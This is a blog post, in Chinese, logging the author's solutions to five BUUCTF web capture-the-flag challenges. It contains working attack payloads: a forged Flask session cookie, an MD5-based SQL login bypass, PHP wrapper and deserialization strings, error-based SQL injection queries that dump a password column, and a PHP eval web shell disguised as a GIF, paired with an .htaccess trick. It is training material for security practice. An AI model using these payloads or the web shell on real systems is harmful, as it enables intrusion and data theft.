BUUCTF web 个人做题记录【6-5】

8 篇文章 0 订阅
6 篇文章 0 订阅

目录

1.[HCTF 2018]admin1

2.[BJDCTF2020]Easy MD51

3.[ZJCTF 2019]NiZhuanSiWei 1

4.[极客大挑战 2019]HardSQL 1

5.[MRCTF2020]你传你🐎呢 1


1.[HCTF 2018]admin1

这一题有三种解法,session伪造,unicode欺骗,弱口令破解。我只讲session伪造这一种解法,

首先随便注册一个用户,在changepassword页面下f12查看源码,可以看到一个github网站链接,进去就可以看到源码了,

这里因为我的浏览器出了点问题,只能用别人的图了

 在这里插入图片描述

这段代码就是说通过我们创建的用户id来检查用户是否存在,创建的每一个用户都有属于自己的sessio,讲讲session伪造:
所谓通俗一点,就是你在这一个窗口打开的多个页面共用一个session,每个页面算一个域,每个session一般存放这个用户的个人信息,但一般是通过加密并且加了salt的,所以这里的问题是,我们怎样将session解码并且修改用户信息改为admin,这个salt就是secret_key(密钥),在github上的config,py上可以看到,密钥一般都是放在配置文件里的,

 在这里插入图片描述

在config.py里我们发现了secret_key:ckj123,下面开始seesion伪造,工具链接:https://github.com/noraj/flask-session-cookie-manager 

我们先把我们自己的session解密出来:

 解密出来就是:{'_fresh': True, '_id': b'6487f66eef2f59c5ee6a9c9c31c881a6db004b6b1f31f7067e41ba508f3b69a928f36f15371510479fafbf4e5d7c3281993f52ffa7ecbc775c5ed80ecfa82cd9', 'csrf_token': b'51cbc1ffafdf9b8215146e1093107ca5921c90f9', 'name': '1', 'user_id': '10'}

我们把name后面的1改为admin,1是我之前创建的用户id,改完之后就是:

{'_fresh': True, '_id': b'6487f66eef2f59c5ee6a9c9c31c881a6db004b6b1f31f7067e41ba508f3b69a928f36f15371510479fafbf4e5d7c3281993f52ffa7ecbc775c5ed80ecfa82cd9', 'csrf_token': b'51cbc1ffafdf9b8215146e1093107ca5921c90f9', 'name': 'admin', 'user_id': '10'}
 

再用工具把这段密文加密成session,就得到了我们伪造的session

 .eJxFkMGOgkAQRH9l02cPOIsXEw8YYIPJ9MTNiJm-GAUUG9pNUCM7xn9f8LK3Sif1qquesDt21bWG-a27VxPYnUuYP-HjAHNAXoeonELJW-KVoG0Zt3mLksycb1n7lE186p2lxnH0wK9MOU5luAv6SKHaBHq7qtFGITGekdva2GzQWhEnU-2LHm3ywLiYkaTixAVk8waV9ppPvbGNJ978klCNKmcn-hN9Pv7QmHjZOkW1iVdMcbOA1wSKa3fc3X6a6vJfwaajrR8RJN9itlmox2i7VjREG6t7HZfs7Gameahjl2LWizfuspdqQOxLOV9gAvdr1b3XgWkArz-Hn2bW.Ypy5TQ.RtcqUQCOe5DT9PoCetd5WtDBhwg

复制到bp下把session的内容改一下重新发送请求包即可:

 

 

2.[BJDCTF2020]Easy MD51

打开页面要求提交数据

 

抓包看一下

 

 ad是我们自己提交的数据,作为password变量的值,看到提示部分,提示告诉我们这是一个sql语句,我们提交的数据(即pass)应该是md5加密后的

百度了MD5函数的漏洞,这个漏洞就是,当我们将下面这个十进制传入mysql数据库的时候,那么mysql会自动将这些值转为十六进程并且转为一个字符串,用这个字符串来进行闭合前面的,那么就是一个永真的条件。类似于一个sql万能密码,百度现成的字符串是ffifdyop,直接用

 

看一下源码

 

 源码提示我们GET方式提两个参数a和b,然后就是一个md5的弱类型比较,这个应该很熟悉了,想深入了解的小伙伴请参考下面这篇文章:

(78条消息) 【CTF】关于md5总结_吃_早餐的博客-CSDN博客_ctf md5

 直接给出payload:?a=s878926199a&b=s155964671a,这里a和b前面都加了s,不加和报错,其实可以是任意字母,我不知道为什么,我们直接看一下访问后的结果:

可以看到这里哟一个文件包含,要求我们以post方式提交两个参数param1和param2,然后对这两个参数进行强类型比较,具体的还请参考上面那篇文章,这里我直接给出payload:

param1[]=a&param2[]=b

最后提示各位,我们bp抓包,看到最初的提交数据方式如果不是POST而是GET,但我们要以POST方式提交数据的话,除了要把GET改为POST外,还应该在请求体中加入Content-Type:application/x-www-form-urlencoded,如果不加不会得到想要的结果,至于为什么,请看:(78条消息) x-www-form-urlencoded到底是什么?_印第安米饭的博客-CSDN博客_www-form-urlencoded。 

3.[ZJCTF 2019]NiZhuanSiWei 1

 打开后就是一段源码

源码提示我们要以GET方式提交三个参数,text,file,和password,其中text要以文件方式提交,文件内容为welcome to zjctf,我们可以用下面的命令写入一个text文件:

data://text/plain,welcome to the zjctf

至于file,但是源码提示了useless.php这里使用php伪协议来读取文件

php://filter/read=convert.base64-encode/resource=useless.php
至于password,目前只知道它是要提交一个序列化的内容,但到底要把什么序列化,目前我们是不知道的,所以先不管,先提交第一个payload查看useless.php的内容:

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php,我们把读取的内容以base64的方式输出是为了保证数据的完整性,可以输出一些我们肉眼看不到的内容

把base64编码解密之后就是

 这样,我们就找到了序列话的对象了

payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

访问后查看源码即可

4.[极客大挑战 2019]HardSQL 1

题目打开,是很明显的sql注入

 我们试着找注入点

 

 

 回显正常,试着把1改为1‘

 报错了,我这里直接锁定报错注入,报错注入,已有大佬给出了详细的解答:

报错注入的姿势主要有两个,分别是xpath语法错误 和 concat+rand()+group_by()导致主键重复 这道题我只使用了xpath语法错误,就先来看看怎么用吧!可以分为两个函数,分别是extracvalueupdatexml两个函数,使用方法类似。

掌握的是updatexml函数和extractvalue函数,利用这两个报错函数返回报错信息。
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值

1'^extractvalue(1,concat(0x7e,(select(database()))))#

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,然后将错误爆出。

先查看数据库:

这里空格被过滤了,我们采用加括号的方式来绕过,查看表

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#

 爆字段

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#

1'^extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1))))#

可以看到flag只出现了一部分, 从回显的信息来看我们,flag在password里,所以我们只用爆这一个字段就可以了,经查询得知,extractvalue最多返回32个字符,因此借助right函数打印剩余flag

1’^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

1‘^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

 

 把两段拼接起来就i可以就是完整的flag了

5.[MRCTF2020]你传你🐎呢 1

传木马,没得说了,抓包看看 

下面写马上传,记事本写入

GIF89a?
<script language="php">eval($_POST['password']);</script>

保存为1.jpg这个GIF89a?就是图像伪造,绕过检查

 

 上转成功我们访问一下,

 发现是这样的,这就说面我们的代码没有被成功解析,这就要讲到本题的知识点了:参考:

(80条消息) [MRCTF2020]你传你呢 1_succ3的博客-CSDN博客

.htaccess
百度.htaccess的解释:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
意思是:如果目标服务器允许用户修改.htaccess文件我们就可以通过.htaccess改文件的扩展名,例如jpg —> php

.user.ini
使用要求:

(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
.user.ini.它比.htaccess使用的范围更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php就可以用这个方法。
.user.ini文件可以改变用户读取文件和包含文件的权限等,但和.htaccess相比条件多了一个对应目录下要有可执行文件。

两者区别:

.htaccess的解题作用是:上传其他格式的文件,通过.htaccess来把其他格式文件解析为php,或其他。
而.user.ini的解题作用是,通过auto_append_file、auto_prepend_file配置来使的当前目录下的文件包含你所上传的文件,这样即使你是jpg格式被包含到php中也会以php格式解析。

----仅为个人理解
我们自己创建一个.htaccess文件,内容是

GIF89a?

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

1.jpg是刚刚上转的图片文件,一定要对应,不然无效

再上转

 我标记的地方要更改,不然会上传失败,上传成功后我们再把之前的木马重新上传,注意,我说的是重新上传,不然还是会解析失败 

访问一下,看到下面这样的就说明我们的木马被成功解析了

 菜刀连一下,flag再根目录下

 

 

 

谢谢参考!


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值